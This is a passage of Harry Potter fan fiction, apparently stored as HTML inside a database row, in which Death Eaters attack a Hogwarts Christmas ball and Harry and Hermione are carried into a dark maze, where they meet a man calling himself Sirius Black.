of sitting here in the library with me?&quot;<br>\n\n\n<br>\n &quot;No! No, it\'s fine. I mean, I\'m fine.&quot; Harry reopened his book to some random page. &quot;But are you ok? I mean, you should be at the ball right now with Justin but..&quot;<br>\n\n\n<br>\n Hermione placed her hands over his and squeezed them gently. &quot;Stop being silly again. I like being in the library, you should know that by now.&quot;<br>\n\n\n<br>\n Harry looked at her doubtfully but Hermione seemed unfazed. &quot;So, how\'s your essay coming along?&quot;<br>\n\n\n<br>\n &quot;...Bad?&quot; He glanced at his blank parchment.<br>\n\n\n<br>\n Hermione giggled, &quot;You aren\'t concentrating are you?&quot;<br>\n\n\n<br>\n &quot;No, that part is pretty obvious isn\'t it?&quot;<br>\n\n\n<br>\n &quot;What are you thinking of then?&quot; Hermione questioned softly.<br>\n\n\n<br>\n Harry leaned back onto his chair. &quot;Destiny.&quot;<br>\n\n\n<br>\n &quot;Destiny?&quot; Hermione\'s forehead crinkled. &quot;I thought you didn\'t like Divination.&quot;<br>\n\n\n<br>\n &quot;No, I mean destiny...my destiny.&quot;<br>\n\n\n<br>\n &quot;...Okay,&quot; Hermione found herself unable to form a sentence or a remark to help Harry out, instead she found herself saying, &quot;Why?&quot;<br>\n\n\n<br>\n &quot;Dumbledore,&quot; Harry replied. &quot;He spoke to me outside last night..he said really odd things..I think he\'s trying to tell me something, but you know how he is. He likes making you guess and figure out what he actually means.&quot;<br>\n\n\n<br>\n Hermione dropped her quill, &quot;Really? Do you think it\'s bad?&quot;<br>\n\n\n<br>\n &quot;...Doesn\'t sound good, so I guess it sounds bad,&quot; Harry shrugged and closed his book. &quot;I really don\'t feel like studying now.&quot;<br>\n\n\n<br>\n &quot;Oh.&quot;<br>\n\n\n<br>\n &quot;...Want to go to the ball? I\'m pretty sure they\'re just finishing the feast by now.&quot;<br>\n\n\n<br>\n Hermione raised an eyebrow at him, &quot;Go to the ball? In this?&quot; She looked down at her school robes.<br>\n\n\n<br>\n &quot;Why not?&quot; Harry grinned. <br>\n\n\n<br>\n &quot;We\'re not even dressed for the occasion!&quot;<br>\n\n\n<br>\n &quot;I thought Hermione Granger didn\'t care about those sort of things,&quot; Harry teased.<br>\n\n\n<br>\n Hermione stuck her tongue out playfully as she jumped onto her feet. &quot;Fine! We\'ll go in our school robes, happy?&quot;<br>\n\n\n<br>\n &quot;Delighted,&quot; Harry smiled.<br>\n\n\n<br>\n &quot;Oooh you can be really weird at times you know?&quot; Hermione said with her arms crossed as they proceeded down the hallway towards the Great Hall. She felt awfully silly but she didn\'t want to say so.<br>\n\n\n<br>\n Harry laughed sheepishly. &quot;Well, would we really look that weird going in our school robes?&quot;<br>\n\n\n<br>\n &quot;Yes! Have you never been at a ball?&quot;<br>\n\n\n<br>\n &quot;No,&quot; He answered bluntly.<br>\n\n\n<br>\n Hermione just shook her head, &quot;Well then when we get into that room you\'ll see what I mean.&quot;<br>\n\n\n<br>\n &quot;What <i>do</i> you mean?&quot;<br>\n\n\n<br>\n &quot;I mean that we\'ll look like house elves in there.&quot; Hermione replied haughtily.<br>\n\n\n<br>\n Harry smiled broadly. &quot;Smashing!&quot;<br>\n\n\n<br>\n Hermione stared at him. &quot;Harry!!&quot;<br>\n\n\n<br>\n &quot;I\'m sorry,&quot; He fell into a fit of laughter. &quot;I just love teasing you!&quot;<br>\n\n\n<br>\n &quot;And why is that?&quot; Hermione narrowed her eyes.<br>\n\n\n<br>\n &quot;Because..&quot; Harry trailed off and poked her playfully in the stomach. &quot;It\'s cute!&quot;<br>\n\n\n<br>\n &quot;<i>It\'s</i> cute?&quot; Hermione giggled. &quot;Or do you mean <i>I\'m</i> cute?&quot;<br>\n\n\n<br>\n Harry stopped laughing and was suddenly grateful that the hallways of Hogwarts were not brightly lighted or else he would look like a glowing tomato now. &quot;Maybe that\'s what I meant.&quot; He finally answered.<br>\n\n\n<br>\n &quot;Maybe?&quot;<br>\n\n\n<br>\n &quot;I\'m not going to say yes, or no,&quot; Harry replied with a huff and grinned. <br>\n\n\n<br>\n Hermione opened her mouth to complain but decided against it. &quot;Fine Mr.Potter! It wouldn\'t matter to me anyways.&quot; She poked him back in the ribs.<br>\n\n\n<br>\n Harry groaned, &quot;That hurttt.&quot;<br>\n\n\n<br>\n &quot;Oh stop whining!&quot;<br>\n\n\n<br>\n &quot;The Head Girl\'s bullying me,&quot; Harry sing-songed.<br>\n\n\n<br>\n Hermione crossed her arms, &quot;Am not!&quot;<br>\n\n\n<br>\n Harry smirked and reached out towards her and suddenly Hermione found herself being tickled. &quot;Ha...rryy!! St..op itt!!&quot; She laughed in between breaths as she found tears starting to form in her eyes from the laughter. <br>\n\n\n<br>\n When Harry didn\'t reply, Hermione retaliated by tickling Harry back and he too was forced onto the ground in a rolling fit of laughter. &quot;Heer..myyy..own..knee!!&quot;<br>\n\n\n<br>\n &quot;Haa...rry!!&quot; She gasped as she felt a jab in her ribs. &quot;Ow! That one actually hurt!&quot;<br>\n\n\n<br>\n &quot;So..rry!&quot; Harry replied sheepishly as he rolled over and found himself not on the cold stone floor of the hall but instead on something warm and soft.<br>\n\n\n<br>\n &quot;Harry..&quot; Hermione uttered breathlessly.<br>\n\n\n<br>\n &quot;Yes?&quot; He came to realize that he was actually ontop of her.<br>\n\n\n<br>\n She felt her chest heaving up and down from the laughing and tickles as she simply stared up at the glowing emerald jewels above her. Such beautiful eyes with ebony dark locks cascading down in front of them...<br>\n\n\n<br>\n Harry found himself speechless, slightly seeing blurry images since his glasses had slipped off and landed somewhere beside him. But that didn\'t matter now, not when he could see every fleck of colour in Hermione\'s eyes. The shape of her face and how her hair blew out around her and her magnificent pink smooth lips..they seemed magnetic for he found himself falling slowly...very slowly downwards.<br>\n\n\n<br>\n Towards those beautiful lush lips and long curly eyelashes.<br>\n\n\n<br>\n Falling...<br>\n\n\n<br>\n\n\n<i>Crash!</i><br>\n\n\n<br>\n Harry suddenly broke out of his trance and jumped up to his feet with Hermione standing up right after him. Both of them looked wildly around them for the source of the sudden sound, both feeling slightly disappointed and out of breath.<br>\n\n\n<br>\n &quot;What was that?&quot; Hermione asked quickly.<br>\n\n\n<br>\n Harry looked at her wildly. &quot;I don\'t know...&quot;<br>\n\n\n<br>\n Another sound of wood splintering rang out from the end of the hallway and both of them suddenly realized it was coming from..<br>\n\n\n<br>\n &quot;The Great Hall!&quot; They both cried in unison as they started running towards the grand double doors.<br>\n\n\n<br>\n &quot;Do you have your wand?&quot; Harry questioned as they reached the doors only to here obvious screaming and shouting.<br>\n\n\n<br>\n Hermione breathed, &quot;Yes...&quot;<br>\n\n\n<br>\n &quot;Um...be careful,&quot; Harry added.<br>\n\n\n<br>\n &quot;..You too,&quot; Hermione glanced nervously from him to the closed doors.<br>\n\n\n<br>\n Harry nodded as he pushed the door open and was met with a sight of mass destruction.<br>\n\n\n<br>\n No longer were the twelve big Christmas trees alight with beautiful lights from fairies. The trees had all fallen, some in half, and broken oraments were shattered on the grand marble floor. The enchanted ceiling seemed frozen in time, with nothing but a black void and nothing like the once beautiful snowing scene outside.<br>\n\n\n<br>\n Students were all pushing and running around, prefects trying to maintain calm while dodging curses and spells that seemed to fly out of no where. <br>\n\n\n<br>\n Yet that was when Harry realized there were a group of dark cloaked figures in the centre of the room, wands held ready, faces hidden beneath the shadows. Ron ran up to them with a cut on his left cheek and his eye ablaze. &quot;Harry! Hermione! What are you doing here?! GET OUT!&quot;<br>\n\n\n<br>\n Harry found himself stunned but managed to utter, &quot;What\'s happening?&quot;<br>\n\n\n<br>\n &quot;An attack,&quot; Ron answered shakily. &quot;Death Eaters. But this shouldn\'t be possible...&quot;<br>\n\n\n<br>\n &quot;No one can get onto Hogwarts grounds...&quot; Hermione said nervously. &quot;That\'s not right...I\'ve read about it in ..&quot;<br>\n\n\n<br>\n &quot;Hogwarts: A History,&quot; Ron finished for her with a shake of his head. &quot;No time for references. We\'ve got to get everyone out of here!&quot;<br>\n\n\n<br>\n &quot;Where\'s Dumbledore? The professors?&quot; Harry asked as he ducked from a spell that was aimed for his head.<br>\n\n\n<br>\n &quot;Snape\'s here. I heard that Dumbledore received a message from Beauxbatons last night that they wanted to invite him to some Christmas feast so he\'s not here...but every other teacher\'s here alright, but everything is just chaotic!&quot;<br>\n\n\n<br>\n Hermione pushed Ron aside as a blazing green light shot by them. &quot;Goodness! That was a killing curse!&quot; Ron nearly shrieked.<br>\n\n\n<br>\n Harry frowned as he glanced at the broken house tables. Ginny came running up to them with a rip right down the side of her maroon robes. &quot;Ron! Parvati\'s been hurt!\'<br>\n\n\n<br>\n &quot;Bloody hell...&quot; Ron muttered. &quot;Ginny get yourself out of here. Hagrid\'s gone down to the lake to prepare the boats to head across the lake to Hogsmeade. Try to inform everybody and get them down there. I think Hagrid\'s going to send everyone off on the train.&quot;<br>\n\n\n<br>\n Ginny nodded but looked hurridly back at her brother, &quot;What about you Ron?&quot;<br>\n\n\n<br>\n &quot;I\'ll come afterwards.&quot;<br>\n\n\n<br>\n &quot;Promise?&quot; Ginny\'s lip trembled.<br>\n\n\n<br>\n &quot;...Promise,&quot; Ron sighed as he turned back towards Harry and Hermione. &quot;...I don\'t know why I\'m staying here, but being a seventh year, I guess we have responsibility to take care of the young ones eh?&quot;<br>\n\n\n<br>\n &quot;...We\'ll stay too,&quot; Hermione said steadily and glanced at Harry.<br>\n\n\n<br>\n Harry nodded, &quot;This attack must have some reason behind it.&quot;<br>\n\n\n<br>\n Ron just nodded as he turned just in time to block another killing curse from another Death Eater. The Death Eater paused, seemingly surprised to see someone and finally pointed a finger- at Harry.<br>\n\n\n<br>\n Harry swallowed, suddenly realizing that all the Death Eaters were now staring at him. <br>\n\n\n<br>\n &quot;Harry Potter.&quot; One of them spoke out.<br>\n\n\n<br>\n &quot;Ah, there you are. How long do you think we\'re going to wait until you show up?&quot; Another sneered.<br>\n\n\n<br>\n Harry gripped tightly onto his wand, a thought suddenly dawning upon him. &quot;...What\'s it to you?&quot; He tried to keep his voice steady, masking away his fear and surprise.<br>\n\n\n<br>\n Everyone in the room felt silent, except for some occasional sobbing and groans from hurt students.<br>\n\n\n<br>\n &quot;Oh, it\'s everything to us.&quot; One of them stepped forward, and Harry noticed wildly that this person didn\'t have an ordinary hand, but a metal-like one..<br>\n\n\n<br>\n And Harry knew that his thought was correct- this attack did have a reason behind it. It was him. They were after him. And somehow he wasn\'t all that surprised that it was him...after all, he was...the boy-who-lived? He liked that name...the boy-who-lived. And yet he wondered if he was going to be alive in another minute or two.<br>\n\n\n<br>\n &quot;What do you mean?&quot; He found himself asking.<br>\n\n\n<br>\n The Death Eater didn\'t say another word, but simply raised his shiny silver hand in the direction of him. &quot;Come now, Harry Potter.&quot;<br>\n\n\n<br>\n Harry found the floor falling beneath him as if he was being whisked away into the air. The room disappeared, his conscious seemed to blur and he saw nothing but a mere void. But strangely he could still feel something.<br>\n\n\n<br>\n A feather-like pressure on his right arm as if someone had suddenly grabbed onto him for dear life. He couldn\'t turn his head to see who it was. He couldn\'t think as he was whisked away to who knows where, but that comforting pressure on his arm told him that someone was with him.<br>\n\n\n<br>\n With him on this journey to perhaps his death.<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n '),
	(207, 12, ' <br>\n\n\n<br>\n\n\n<br>\n AN: Ack I\'m so sorry for the slow update! I could have gotten this up four days ago but then my dad pulled me away from the computer and I got writer\'s block and it all just muddled up =P. Haha, but thanks to <b> MrKlortho</b> who made me all urgent and jumpy in wanting to finish this chapter quickly because I don\'t like to make people wait =P! Hehe, enjoy this chapter, it might be confusing...<br>\n\n\n<br>\n Disclaimer: I don\'t own any of the original characters in Harry Potter, J. K. Rowling does. The plot and any extra characters belong to me :)<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<center>Underneath it All<br>\n Chapter Twelve: Guide Me</center>\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n The wind was blinding, whipping at his face, making him feel sick- but that didn\'t matter. He wanted to know what was happening. Did he faint? Was this a dream? Perhaps he was hullicinating...and how did he end up in this situation anyways?<br>\n\n\n<br>\n He struggled to keep his mind intact as he reached out to remember. He had been with Hermione...in the library. They got bored...so they left. They had headed towards the Great Hall cheerfully and happily...and then it all crashed down upon them. Screaming, crying...Death Eaters. He remembered it all now. There were Death Eaters..dozens...and he had, had a twisting feeling in his stomach that they were here for him.<br>\n\n\n<br>\n And he had been right.<br>\n\n\n<br>\n They had called out his name in such a spine-chilling voice. And a shiny silver hand...that hand had reached towards him...<br>\n\n\n<br>\n And so he was here..spiraling away to some place that perhaps wasn\'t even on the face of earth. But he wasn\'t alone. He knew that for he could feel that pressure on his arm. Or maybe it was just him and his hopeless desire that he wasn\'t alone, and instead it could\'ve been a chair that had toppled onto his arm and..<br>\n\n\n<br>\n No, he would think positively. <br>\n\n\n<br>\n Harry felt his glasses slip off the bridge of his nose. Bullocks. He wanted to open his eyes but the pressure was so intense that he couldn\'t. Even if he did, his eyeballs would probably pop out. <br>\n\n\n<br>\n For a fleeting second he had thought his wand was gone. But thankfully, it was still there, banging lightly against his side from within the pockets of his robes...<br>\n\n\n<br>\n\n\n<i>Bam.<br>\n\n\n<br>\n\n\n</i>The floor came at him at full force. He felt his knees buckle beneath him as he tumbled onto the ground. Something squishy, it wasn\'t wood or marble...it was dirt. Harry groaned as he slowly blinked his green eyes open.<br>\n\n\n<br>\n\n\n<i>Where am I?</i> His bones moaned and his head spun. <br>\n\n\n<br>\n &quot;Harry...&quot;<br>\n\n\n<br>\n Was he hearing voices now?<br>\n\n\n<br>\n &quot;Harry.&quot; It came clearer.<br>\n\n\n<br>\n He felt a tug on his arm. He fell back, turned his head, and looked at the figure tugging at his arm in surprise. &quot;...Hermione?!&quot;<br>\n\n\n<br>\n Of course it was Hermione. But he was so surprised that she was here with him. Her hair was bushier than ever, dirt smudged on her cheeks and hands, her face pale, but her eyes still shone. &quot;Harry.&quot; She repeated in a mere whisper.<br>\n\n\n<br>\n &quot;Hermione.&quot; Harry felt his stomach settle, his mind halt as he wrapped his arms around the girl beside him. &quot;Hermione.&quot; He felt his voice choke up. He wasn\'t alone...but then, they weren\'t safe. He didn\'t want her to be in danger...why was she here? No, he had to protect her..<br>\n\n\n<br>\n &quot;Why are you here?&quot; Harry looked into her wide eyes, looking for an answer but found nothing but fright in her eyes.<br>\n\n\n<br>\n She stood up slowly, brushing off her robes but her eyes never leaving his face as she simply answered, &quot;I..I knew I couldn\'t let you go alone.&quot;<br>\n\n\n<br>\n &quot;Go where?&quot; Harry found himself asking.<br>\n\n\n<br>\n Hermione stared. &quot;I don\'t know...&quot;<br>\n\n\n<br>\n Harry found himself at lost as he stood up. Looking around at his surroundings. &quot;But what happened..&quot;<br>\n\n\n<br>\n &quot;Death Eaters..don\'t you remember? One of them reached out to you...and suddenly you started disappearing and I didn\'t have time to think but to grab onto you...&quot; Her voice shoke, but she seemed to be regaining her composure. &quot;...What\'s going to happen now?&quot;<br>\n\n\n<br>\n Harry stared at her, then at the darkness that hung around them. There seemed to be nothing at all. Just darkness and nothing else but darkness and the ground beneath their feet. &quot;Voldemort.&quot;<br>\n\n\n<br>\n &quot;What?&quot; <br>\n\n\n<br>\n Harry narrowed his eyes. &quot;Voldemort.&quot;<br>\n\n\n<br>\n Hermione looked at him wildly. &quot;Harry...&quot;<br>\n\n\n<br>\n &quot;I don\'t know, I just have this feeling..&quot; He kicked the ground with frustration. &quot;Who else would come after me? Didn\'t I make him lose all his powers seventeen years ago? He\'s the only person that I can think of that would bother coming after me. I mean, I haven\'t done anything else that\'s bad to anyone else..&quot;<br>\n\n\n<br>\n Hermione bit her lip, looking upwards as she did so. Darkness. &quot;But..we can\'t just stand here..&quot;<br>\n\n\n<br>\n &quot;It\'s kind of weird...&quot; Harry started. &quot;So we\'re whisked away to this...place, and then there\'s no one here to kill us.&quot;<br>\n\n\n<br>\n &quot;Yet.&quot; Hermione finished.<br>\n\n\n<br>\n Harry glanced at her ruefully. &quot;Ok..not yet. But still...are they just going to let us wander here until we die? Or what?&quot;<br>\n\n\n<br>\n Hermione found herself confused also. For once she was confused. She looked around her once more and realized that going to the library for help wouldn\'t be an option now. There was nothing here but herself and Harry plus the air they were breathing. And for once, it was all too sudden for her to figure it out. &quot;Let\'s...find our way out.&quot; She blurted out and realized how hopelessly stupid that sounded.<br>\n\n\n<br>\n Yet Harry didn\'t seem to think so. &quot;You\'re right. Let\'s...find our way out.&quot;<br>\n\n\n<br>\n Hermione looked at him doubtfully. &quot;Don\'t you feel like we\'ve just been thrown into the middle of like...a story and we don\'t know the ending or the beginning?&quot;<br>\n\n\n<br>\n &quot;That\'s why we\'ve just...got to go with it..&quot; Harry said hesitantly. &quot;I mean, what else can we do?&quot;<br>\n\n\n<br>\n &quot;...True,&quot; She sighed. &quot;Ok, let\'s go...that way,&quot; She pointed a finger towards the tunnel of darkness and glanced at Harry from over her arm with a wistful smile. &quot;Alright?&quot;<br>\n\n\n<br>\n Harry managed to smile back and nodded, &quot;Alright.&quot;<br>\n\n\n<br>\n Hermione reached into her pocket and pulled out her wand, with Harry doing the same thing. They walked side by side towards the direction Hermione had indicated when she suddenly stopped. &quot;Oh, I\'m so stupid!&quot; She layed her wand on her open palm.<br>\n\n\n<br>\n Harry frowned. &quot;What?&quot;<br>\n\n\n<br>\n &quot;Point me,&quot; Hermione mumbled as her wand began to spin and stopped, pointing towards their left. &quot;There. I think we might be in a maze of some sort...so if north is that way...&quot; She indicated towards her left. &quot;Then...let\'s go in that direction?&quot;<br>\n\n\n<br>\n &quot;...Okay,&quot; Harry replied bluntly as they turned.<br>\n\n\n<br>\n Hermione frowned, &quot;Oh, this really is frustrating..&quot;<br>\n\n\n<br>\n Harry nodded, &quot;We really can\'t see anything ahead of us...<i>Lumos</i>.&quot; <br>\n\n\n<br>\n A beam of light erupted from the tip of Harry\'s wand, though it didn\'t do much good through the thick cloak of blackness that hugged them. &quot;Well, it was worth a try,&quot; He uttered.<br>\n\n\n<br>\n They walked in silence for a good five minutes, both feeling utterly lost and confused, helpless and frustrated. Hermione was extremely agitated that the situation they were in made no sense at all, while Harry was just completely muddled in his own thoughts.<br>\n\n\n<br>\n &quot;Why didn\'t the skeleton cross the road?&quot; He suddenly asked.<br>\n\n\n<br>\n Hermione snapped her head at him. &quot;<i>Harry Potter</i>!&quot; <br>\n\n\n<br>\n &quot;What?&quot;<br>\n\n\n<br>\n &quot;Why are you asking such a stupid question when we\'re here, stuck in this...<i> void</i>!&quot; Hermione rolled her eyes.<br>\n\n\n<br>\n Harry shrugged, &quot;Well? Do you know the answer?&quot;<br>\n\n\n<br>\n Hermione shook her head and looked ahead of her. &quot;Oh please.&quot;<br>\n\n\n<br>\n &quot;Because he had no guts!!&quot; Harry answered loudly while staring intently at Hermione\'s face which showed nothing but frustration. He coughed and fell silent.<br>\n\n\n<br>\n &quot;Ha ha ha.&quot; Hermione murmured when finally she doubled over in laughter.<br>\n\n\n<br>\n Harry turned to look at her in surprise at her sudden reaction and realized that she was laughing so hard that she even had tears in her eyes. &quot;Whoa...Hermione. I thought you said it was stupid.&quot;<br>\n\n\n<br>\n &quot;It<i> is</i>!&quot; Her laughter had subsided into giggles while Harry just stared at her in bewilderment while she giggled a bit more.<br>\n\n\n<br>\n Harry found himself rather amused and couldn\'t help but laugh along with her. &quot;You are so weird, Potter.&quot;<br>\n\n\n<br>\n &quot;Well, you are too,&quot; Harry retorted with a lop-sided grin.<br>\n\n\n<br>\n Hermione brushed a strand of hair away from her face as she shook her head. &quot;Really. I\'m serious. You\'re weird.&quot;<br>\n\n\n<br>\n &quot;Thank you,&quot; He replied with that same grin.<br>\n\n\n<br>\n She laughed and quickened her pace without a second glance at Harry. &quot;You silly git.&quot;<br>\n\n\n<br>\n\n\n<br>\n\n\n<center> ~*~</center>\n\n<br>\n\n\n<br>\n\n\n<br>\n Ron shook his head clear as he stared once more at the spot where Hermione and Harry had disappeared. Wow. He glanced around him at all the remaining amazed and shocked students of Hogwarts whom were all staring at the same spot Ron was.<br>\n\n\n<br>\n &quot;Um, where did they go?&quot; Colin Creevey broke the silence as he crawled out from under a wooden plank most likely from one of the splintered house tables.<br>\n\n\n<br>\n &quot;They..just disappeared,&quot; Ron replied.<br>\n\n\n<br>\n Lavender stood up from her crouched position next to Parvati who was sniffling. &quot;Parvati\'s bleeding..&quot; She began when Ron just glared. &quot;Use a healing charm.&quot;<br>\n\n\n<br>\n Lavender fell silent and glanced at Parvati numbly.<br>\n\n\n<br>\n &quot;We\'ve got to get everyone down to the lake.&quot; Ron began slowly. <br>\n\n\n<br>\n &quot;Mr. Weasley, you can go with the rest of them, we will take care of this.&quot; The stern voice of Professor McGonagall made him jump.<br>\n\n\n<br>\n The red-head\'s shoulders sagged. &quot;But what about...Hermione...and Harry?&quot;<br>\n\n\n<br>\n &quot;We\'ll...get them back.&quot; Surprisingly it was Snape who answered, a blank look on his face.<br>\n\n\n<br>\n Professor McGonagall sucked in a shaky breath, a weary look on her face. &quot;Go now.&quot; She ordered with authority as the students filed out of the Great Hall in silence. &quot;Severus..&quot;<br>\n\n\n<br>\n &quot;The Dark Lord...has returned,&quot; The Potions Master declared in a voice with no emotion as he rolled up his sleeve to stare down at the burning Dark Mark on his arm.<br>\n\n\n<br>\n The professors of Hogwarts made no noise as they stared solemnly up at the enchanted ceiling, hoping that the school\'s owl would reach their headmaster in time...but for now, they could only wait...and pray.<br>\n\n\n<br>\n\n\n<br>\n\n\n<center>~*~</center>\n\n<br>\n\n\n<br>\n\n\n<br>\n How long had it been now? Seconds? Minutes? Hours? Perhaps even a day? It was impossible to tell. How long they had walked or how far they were from their starting point was unknown to them. Nothing changed around them. It was just the walls of darkness and the darkness ahead with the dirt ground beneath their tired feet. <br>\n\n\n<br>\n Harry wondered how long they would last...maybe Voldemort\'s plan was just to starve them in this tunnel of nothingness.<br>\n\n\n<br>\n &quot;Don\'t give up.&quot;<br>\n\n\n<br>\n He wiped up sweat from his brow, glancing at Hermione as he did so. &quot;I\'m not.&quot;<br>\n\n\n<br>\n &quot;Good.&quot; Was her short reply.<br>\n\n\n<br>\n Harry shook his head. She seemed confident that they would reach something, perhaps the end of the tunnel, or maybe someone, something. Anything at all. And so Hermione Granger continued to walk with her head held high and her wand leading them north. Harry now wondered how she did it all. Got top marks, Head Girl, and had so much energy to continue on.<br>\n\n\n<br>\n Yes, she was different, in Harry\'s opinion. Any girl now would have collasped and begged for a ride on his back. But no, this was Hermione and Hermione walked on her own feet and carried her own load. Harry smiled inwardly.<br>\n\n\n<br>\n &quot;Why are you smiling?&quot;<br>\n\n\n<br>\n &quot;Am I?&quot; Harry asked, oblivious to his own facial expression.<br>\n\n\n<br>\n She simply tilted her head at him. &quot;Yes you are.&quot;<br>\n\n\n<br>\n &quot;Just thinking...&quot;<br>\n\n\n<br>\n &quot;About?&quot;<br>\n\n\n<br>\n Harry blushed. &quot;Nothing really...&quot;<br>\n\n\n<br>\n Hermione looked at him sternly and Harry felt that it was Professor McGonagall who stared back at him instead. &quot;Really Harry, you should learn to express yourself more.&quot;<br>\n\n\n<br>\n He stuck his hands into his pockets looking awfully embarrassed. &quot;You.&quot; He finally managed to say.<br>\n\n\n<br>\n &quot;Me?&quot; Hermione blinked.<br>\n\n\n<br>\n &quot;Uh huh,&quot; Harry nodded more to himself than to her.<br>\n\n\n<br>\n She turned a light rose before looking ahead again. &quot;Oh.&quot;<br>\n\n\n<br>\n And so silence once again blanketed them which left Harry to himself to think about what was ahead. Hermione went back also to her own thoughts...would they be alive in the next five minutes? How long was five minutes anyways? Why did she follow Harry? She could\'ve been safe and sound back at Hogwarts probably...but no, that was foolish thinking. She was glad that she was here. Glad to be with Harry.<br>\n\n\n<br>\n And so she wondered why she was glad. Well, she would have felt bad if she had just watched him disappear from right beneath her nose. And she was glad...because Harry wasn\'t alone now. And she was glad...well, she was glad to be by Harry\'s side.<br>\n\n\n<br>\n Did he appreciate it? She pondered on that thought a bit more..what did he think of her? Hmm..what did she think of him? Hermione wanted to giggle but her throat seemed dry and soar. <br>\n\n\n<br>\n Did Harry like her? ...Haha. Did Harry love her? Hermione managed to swallow as she mentally smacked herself. What was that? Another foolish thought no doubt. Silly, childish thoughts, she scolded mentally...and yet try as she might, those thoughts still rang fresh and clear in her mind...<br>\n\n\n<br>\n &quot;Harry!!&quot;<br>\n\n\n<br>\n Harry jerked his head around so quickly that Hermione was brought back to earth from her revere. &quot;Did you just say my name?&quot; <br>\n\n\n<br>\n &quot;No..&quot; She uttered.<br>\n\n\n<br>\n They stopped in their tracks, looking left to right for any sign of movement. &quot;I thought it wasn\'t you..it sounded like...a male...&quot; Harry said.<br>\n\n\n<br>\n Hermione closed her fingers around her wand, ready to shoot any curse she knew at anything that would jump out at them...<br>\n\n\n<br>\n &quot;Harry!!&quot; A figure came through the darkness...or to be exact...a dog.<br>\n\n\n<br>\n A large black dog emerged from the shadows looking as if it were panting and out of breath...Hermione stepped back, not really sure whether to hex the dog or not...<br>\n\n\n<br>\n &quot;It knows how to talk?&quot; Harry asked in bewilderment.<br>\n\n\n<br>\n The dog scratched itself before suddenly, in place of where the dog use to be, was a middle aged man. His black hair was in disarray and his face seemed worn and tired, his eyes dull and weary. But nonetheless, this stranger wore a smile.<br>\n\n\n<br>\n &quot;Harry!&quot; The stranger called again.<br>\n\n\n<br>\n Harry lowered his wand slightly, not really knowing what to do but to ask, &quot;Who are you?&quot;<br>\n\n\n<br>\n The man\'s face seemed to look even more weary, but the smile was still there. &quot;Why, it\'s me! Sirius Black! Your godfather, Harry!&quot;<br>\n\n\n<br>\n Hermione\'s brow srunched up in confusion. &quot;What? Harry\'s godfather? The godfather that was supposedly framed for the murder of thirteen people?&quot;<br>\n\n\n<br>\n The man, or Sirius Black, turned to Hermione. &quot;Yes! Yes...that\'s me alright, miss...&quot;<br>\n\n\n<br>\n &quot;...Granger,&quot; Hermione offered.<br>\n\n\n<br>\n &quot;Ah, Miss. Granger,&quot; Black\'s smile broadened, though Hermione thought he was awfully strange to be smiling in a place like this.<br>\n\n\n<br>\n Harry simply stared. &quot;You\'re..my godfather? But how...and why are you here?!&quot; His head spun from the many questions that he wanted to ask, but none seem to come out from his dry lips.<br>\n\n\n<br>\n &quot;No time to answer all your questions Harry, but when we get out of here I\'ll tell you everything,&quot; Sirius said with a wave of his hand. &quot;Come on, we have to hurry.&quot;<br>\n\n\n<br>\n &quot;Hurry? Hurry where?&quot; Hermione questioned.<br>\n\n\n<br>\n &quot;Silly girl, hurry and get out of here of course!&quot; Sirius turned around and took a few steps forward before looking over his shoulder at Harry. &quot;Coming?&quot;<br>\n\n\n<br>\n Hermione opened her mouth when she felt Harry catch her arm and pull her forwards. She stared and pulled him back. &quot;Harry!&quot; She hissed.<br>\n\n\n<br>\n &quot;What? Hurry or else he might not wait for us!&quot;<br>\n\n\n<br>\n &quot;No,&quot; Hermione lowered her voice. &quot;How can we trust him? For all we know..he could be Voldemort himself.&quot;<br>\n\n\n<br>\n &quot;Don\'t be silly,&quot; Harry rolled his eyes.<br>\n\n\n<br>\n &quot;I think you\'re acting before thinking, Harry.&quot; Hermione said firmly. &quot;He just appeared out of no where, literally. And we\'re just going to follow him?&quot;<br>\n\n\n<br>\n Harry looked at her desperately. &quot;What else can we do? We\'ve just been wandering about for the past how many minutes? ...Who knows how long we\'ve been here! He\'s our only chance!&quot;<br>\n\n\n<br>\n &quot;Harry?&quot; Harry\'s godfather called from ahead.<br>\n\n\n<br>\n Hermione turned quickly to Harry, looking at him pleadingly but Harry seemed determined. &quot;Come on.&quot; Harry tugged at her sleeve again before running up to catch up with Sirius.<br>\n\n\n<br>\n She could only suck in a breath and pray that everything would end up alright as she followed in Harry\'s footsteps to join the two a few feet away.<i> I hope you know what you\'re doing Harry... </i><br>\n\n\n<br>\n &quot;Did you know my parents? James and Lily?&quot; Hermione caught a snippet of their conversation as she caught up to them.<br>\n\n\n<br>\n Sirius\'s expression seemed grave. &quot;Yes...yes I did know your parents Harry. We were..great friends...best friends..all four...err..three of us.&quot;<br>\n\n\n<br>\n Harry turned to him questioningly. &quot;Four?&quot;<br>\n\n\n<br>\n &quot;...Well, one of us turned bad,&quot; Sirius sighed and shook his head almost like a dog shaking off water. &quot;He betrayed Lily and James...went to the dark side...that\'s why everything\'s the way it is now, Harry.&quot;<br>\n\n\n<br>\n &quot;Oh..&quot; <br>\n\n\n<br>\n Hermione frowned, placing her wand on her palm once again. &quot;Point me...&quot; She murmered as softly as she could. <br>\n\n\n<br>\n While she did this, Harry was entranced with Sirius\' story. How he had gone to school with Lily and James...and another named Peter (supposedly the one who betrayed his parents). Harry held in his questions, wanting and longing to know every little thing he could about the parents he never knew...the parents he had dreamed to have.<br>\n\n\n<br>\n &quot;Yes, Lily was very pretty. I do believe I had the hots for her back in fifth year...&quot;<br>\n\n\n<br>\n &quot;What did she look like then?&quot; Harry had immediately asked.<br>\n\n\n<br>\n &quot;Oh...brilliant green eyes, I must say, you have her eyes! Dark red hair...she had curled it a bit in that year...but we all teased her about it,&quot; Sirius added thoughtfully before patting Harry on the back. &quot;Good times..&quot;<br>\n\n\n<br>\n Hermione glanced up at them again, then at her wand which was pointing...to her right. She glanced hastily back up again to see where they were heading to...which was her...left.<br>\n\n\n<br>\n They weren\'t going the right way.<br>\n\n\n<br>\n She swallowed and reached out to Harry when they stopped walking.<br>\n\n\n<br>\n &quot;Oh, Miss.Granger, it\'s too formal, may I call you...&quot; <br>\n\n\n<br>\n Hermione frowned deeply. &quot;You may call me nothing.&quot;<br>\n\n\n<br>\n Harry spun around and looked at her in surprise. 